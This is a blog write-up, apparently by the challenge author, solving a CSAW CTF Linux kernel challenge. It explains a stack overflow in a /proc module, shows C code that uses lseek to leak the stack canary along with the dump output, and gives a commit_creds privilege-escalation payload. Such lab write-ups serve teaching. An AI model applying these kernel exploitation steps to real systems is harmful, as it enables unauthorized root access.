<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<h2 style="text-align: left;">The Solution</h2>
<p style="text-align: left;">Ok, that should be enough! Now to the actual solution.</p>
<p style="text-align: left;">It&#8217;s quite obvious that there is a vulnerability in csaw_write(). After all, the comment in the source code even comes right out and says that the copy_from_user with an attacker-provided ubuf and count can overflow the buffer on the kernel stack:</p>
<pre>if (copy_from_user(&amp;buf, ubuf, count)) {
    printk(KERN_INFO "csaw: error copying data from userspace\n");
    return -EFAULT;
}
</pre>
<p>An attacker can easily smash the kernel stack by writing a long string to /proc/csaw!</p>
<p>However, as also specified in the comment, the kernel has been compiled with <a href="http://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries">stack canaries</a>, allowing the kernel to detect and panic when a stack smashing attack is attempted.  In the case of our challenge, the stack canary has been set to a static value that never changes, but is still unknown to the attacker.</p>
<p>So how can the attacker work around this roadblock?  Well, in order to bypass the canary, the attacker needs to know its value so it can smash the stack while maintaining the integrity of the canary.  The attacker can try to guess the value via bruteforce methods, but that would be a rather fruitless attempt.</p>
<p>Alternately, the attacker could attempt to discover the canary value through a kernel memory disclosure vulnerability.  While <a href="http://jon.oberheide.org/blog/2010/10/23/linux-kernel-pktcdvd-memory-disclosure/">kmem disclosures</a> aren&#8217;t uncommon, the provided kernel was patched up against all publicly-known vulnerabilities at the time of the competition.  So let&#8217;s take a closer look at the csaw.c source code&#8230;after all, there&#8217;s only a handful of lines to audit.</p>
<p>Let&#8217;s take a look at code in csaw_read():</p>
<pre>strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
memcpy(page, buf + off, MAX_LENGTH);
</pre>
<p>Looks pretty vanilla at first, we&#8217;re just copying the string to the output buffer page used by the read_proc function.  But wait, what is that &#8220;buf + off&#8221; for? That looks a little suspicious!</p>
<p>Indeed, since the proc interface acts just like a file, it is possible to lseek(2) on the open file description, causing the off variable passed to csaw_read() to be non-zero.  If off is non-zero, we&#8217;ll be memcpy&#8217;ing memory back to userspace that is past our buffer on the kernel stack.  Guess what&#8217;s just past our buffer?  The stack canary!</p>
<p>So we can dump kernel memory like so:</p>
<pre>fd = open("/proc/csaw", O_RDWR);
if (fd &lt; 0) {
    printf("[-] failed to open /proc/csaw\n");
    exit(1);
}

lseek(fd, 16, SEEK_CUR);
bytes = read(fd, buf, sizeof(buf));

printf("dumping memory...\n\n");
print_hex_dump(16, 1, buf, 64, 1);
</pre>
<p>Compiling and running this exploit results in:</p>
<pre>csaw@csaw exploit $ ./dump
dumping memory...

65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
24 24 24 24 4c 3f b9 df 80 6a c2 de 40 00 00 00  $$$$L?...j..@...
68 a1 97 bf f9 8a 04 08 24 53 78 b7 f4 4f 78 b7  h.......$Sx..Ox.
</pre>
<p>What is that &#8220;$$$$&#8221; in there?!? Why, it&#8217;s our stack canary being dumped out!</p>
<p>Once we have the canary, we can perform a trivial stack smash, making sure to overwrite the canary with it&#8217;s correct cash-money value and then overwriting the return address with the address of our privesc payload mapped somewhere in userspace (see <a href="http://www.grsecurity.net/~spender/enlightenment.tgz">enlightenment&#8217;s</a> exp_powerglove.c if you&#8217;re unfamiliar with basic kernel stack smashes).</p>
<p>I chose a very simple chmod payload since we have ksym access and can simply call into any existing kernel functions from our payload:</p>
<pre>static void
kernel_code(void)
{
    commit_creds(prepare_kernel_cred(0));
    sys_chmod("/root", 0777);
    sys_chmod("/root/key.txt", 0777);
    return;
}
</pre>
<p>That&#8217;s it! The flag contained in /root/key.txt is now yours!  During the CTF, only one team (ppp1 from CMU) successfully solved it within the allotted time period.  While that might seem low, there were a lot of difficult challenges and not a lot of time to solve them.</p>
<p>Hope you enjoyed it!</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2010/11/02/csaw-ctf-kernel-exploitation-challenge/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
